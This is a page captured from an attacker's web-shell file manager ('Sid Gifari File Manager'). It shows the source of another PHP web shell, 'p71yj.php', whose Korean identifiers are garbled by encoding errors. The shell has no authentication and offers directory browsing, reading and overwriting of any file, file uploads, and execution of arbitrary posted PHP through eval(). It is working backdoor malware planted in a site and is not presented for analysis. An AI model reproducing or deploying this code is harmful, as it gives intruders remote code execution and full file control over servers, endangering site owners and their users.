Sid Gifari File Manager
๐ Root
/
wb76ju
Editing: p71yj.php
<!DOCTYPE html> <html lang="ko"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>๊ด๋ฆฌ-๋๊ตฌ</title> <style> body { font-family: Arial, sans-serif; background-color: #000; color: #fff; margin: 0; padding: 0; } #container { max-width: 800px; margin: 20px auto; padding: 20px; border: 1px solid #444; border-radius: 5px; background-color: #222; } h1, h2, h3 { color: #bbb; } ul { list-style-type: none; padding: 0; } li { margin-bottom: 10px; } a { text-decoration: none; color: #1e90ff; } input, textarea { background-color: #333; color: #fff; border: 1px solid #555; padding: 5px; width: 100%; margin-bottom: 10px; } input[type="submit"] { cursor: pointer; } hr { border: 0; height: 1px; background-color: #444; } textarea { height: 150px; } </style> </head> <body> <div id="container"> <h1>๊ด๋ฆฌ-๋๊ตฌ</h1> <?php function ํด๋ฆฐ($๋ฐ์ดํฐ) { return htmlspecialchars(strip_tags($๋ฐ์ดํฐ)); } function ํ์ผํฌ๊ธฐ($๋ฐ์ดํธ) { $๋จ์ = ['B', 'KB', 'MB', 'GB', 'TB']; if ($๋ฐ์ดํธ == 0) return '0 B'; // Tambahan untuk file 0KB $์ง์ = floor(log($๋ฐ์ดํธ, 1024)); return @round($๋ฐ์ดํธ / pow(1024, $์ง์), 2) . ' ' . $๋จ์[$์ง์]; } function ํ์($๊ฒฝ๋ก) { $๊ฒฝ๋ก = str_replace('\\', '/', $๊ฒฝ๋ก); $๋ถ๋ถ๋ค = explode('/', $๊ฒฝ๋ก); $๊ฒฐ๊ณผ = []; foreach ($๋ถ๋ถ๋ค as $์ธ๋ฑ์ค => $๋ถ๋ถ) { if ($๋ถ๋ถ === '' && $์ธ๋ฑ์ค === 0) { $๊ฒฐ๊ณผ[] = '<a href="?๊ฒฝ๋ก=/">/</a>'; continue; } if ($๋ถ๋ถ === '') continue; $๊ฒฐ๊ณผ[] = '<a href="?๊ฒฝ๋ก='; for ($i = 0; $i <= $์ธ๋ฑ์ค; $i++) { $๊ฒฐ๊ณผ[] = $๋ถ๋ถ๋ค[$i]; if ($i != $์ธ๋ฑ์ค) $๊ฒฐ๊ณผ[] = "/"; } $๊ฒฐ๊ณผ[] = '">' . $๋ถ๋ถ . '</a>/'; } return implode('', $๊ฒฐ๊ณผ); } function ๋ด์ฉ๋ณด๊ธฐ($๊ฒฝ๋ก) { $๋ชฉ๋ก = @scandir($๊ฒฝ๋ก) ?: []; $ํด๋ = []; $ํ์ผ๋ค = []; foreach ($๋ชฉ๋ก as $ํญ๋ชฉ) { if ($ํญ๋ชฉ === '.' || $ํญ๋ชฉ === '..') continue; $์ ์ฒด๊ฒฝ๋ก = $๊ฒฝ๋ก . '/' . $ํญ๋ชฉ; // Cek apakah direktori atau file if (@is_dir($์ ์ฒด๊ฒฝ๋ก)) { $ํด๋[] = '<li><strong>ํด๋:</strong> <a href="?๊ฒฝ๋ก=' . urlencode($์ ์ฒด๊ฒฝ๋ก) . '">' . $ํญ๋ชฉ . '</a></li>'; } else { $ํ์ผํฌ๊ธฐ = @filesize($์ ์ฒด๊ฒฝ๋ก); $ํฌ๊ธฐ = ($ํ์ผํฌ๊ธฐ === false || $ํ์ผํฌ๊ธฐ === 0) ? '0 B' : ํ์ผํฌ๊ธฐ($ํ์ผํฌ๊ธฐ); // Tangani 0KB file $ํ์ผ๋ค[] = '<li><strong>ํ์ผ:</strong> <a href="?์์ =ํธ์ง&ํ์ผ=' . urlencode($ํญ๋ชฉ) . '&๊ฒฝ๋ก=' . urlencode($๊ฒฝ๋ก) . '">' . $ํญ๋ชฉ . '</a> (' . $ํฌ๊ธฐ . ')</li>'; } } echo '<ul>'; echo implode('', $ํด๋); if (!empty($ํด๋) && !empty($ํ์ผ๋ค)) echo '<hr>'; echo implode('', $ํ์ผ๋ค); echo '</ul>'; } function ํ์ผํธ์ง($ํ์ผ๊ฒฝ๋ก) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['ํ์ผ๋ด์ฉ'])) { $๋ด์ฉ = $_POST['ํ์ผ๋ด์ฉ']; if (@file_put_contents($ํ์ผ๊ฒฝ๋ก, $๋ด์ฉ) !== false) { echo "ํ์ผ ์ ์ฅ ์ฑ๊ณต."; } else { echo "ํ์ผ ์ ์ฅ ์คํจ."; } } $๋ด์ฉ = @file_get_contents($ํ์ผ๊ฒฝ๋ก) ?: ''; echo '<form method="post">'; echo '<textarea name="ํ์ผ๋ด์ฉ">' . htmlspecialchars($๋ด์ฉ) . '</textarea><br>'; echo '<input type="submit" value="์ ์ฅ">'; echo '</form>'; } function ํ์ผ์ ๋ก๋($๊ฒฝ๋ก, $ํ์ผ) { $๋ชฉ์ ์ง = $๊ฒฝ๋ก . '/' . basename($ํ์ผ['name']); if (@move_uploaded_file($ํ์ผ['tmp_name'], $๋ชฉ์ ์ง)) { echo "ํ์ผ ์ ๋ก๋ ์ฑ๊ณต: " . htmlspecialchars($ํ์ผ['name']); } else { echo "ํ์ผ ์ ๋ก๋ ์คํจ."; } } function PHP์คํ($์ฝ๋) { try { ob_start(); eval($์ฝ๋); $output = ob_get_clean(); echo '<div style="background-color:#333; padding:10px;">' . htmlspecialchars($output) . '</div>'; } catch (Throwable $e) { echo "์ค๋ฅ: " . htmlspecialchars($e->getMessage()); } } $๊ฒฝ๋ก = $_GET['๊ฒฝ๋ก'] ?? getcwd(); if (isset($_GET['์์ ']) && $_GET['์์ '] === 'ํธ์ง' && isset($_GET['ํ์ผ'])) { $ํ์ผ = $_GET['ํ์ผ']; $ํ์ผ๊ฒฝ๋ก = $๊ฒฝ๋ก . '/' . $ํ์ผ; if (@file_exists($ํ์ผ๊ฒฝ๋ก)) { echo "<h2>ํธ์ง ํ์ผ: $ํ์ผ</h2>"; ํ์ผํธ์ง($ํ์ผ๊ฒฝ๋ก); } else { echo "ํ์ผ์ด ์กด์ฌํ์ง ์์ต๋๋ค."; } } else { echo "<h2>๊ฒฝ๋ก: " . htmlspecialchars($๊ฒฝ๋ก) . "</h2>"; echo "<p>" . ํ์($๊ฒฝ๋ก) . "</p>"; echo "<h3>ํด๋ ๋ด์ฉ:</h3>"; ๋ด์ฉ๋ณด๊ธฐ($๊ฒฝ๋ก); echo '<hr>'; echo '<h3>ํ์ผ ์ ๋ก๋:</h3>'; echo '<form method="post" enctype="multipart/form-data">'; echo '<input type="file" name="ํ์ผ"><br>'; echo '<input type="submit" value="์ ๋ก๋">'; echo '</form>'; echo '<h3>PHP ์ฝ๋ ์คํ:</h3>'; echo '<form method="post">'; echo '<textarea name="PHP์ฝ๋"></textarea><br>'; echo '<input type="submit" value="์คํ">'; echo '</form>'; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['ํ์ผ'])) { ํ์ผ์ ๋ก๋($๊ฒฝ๋ก, $_FILES['ํ์ผ']); } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['PHP์ฝ๋'])) { echo '<h3>๊ฒฐ๊ณผ:</h3>'; PHP์คํ($_POST['PHP์ฝ๋']); } ?> </div> </body> </html>
Save
Cancel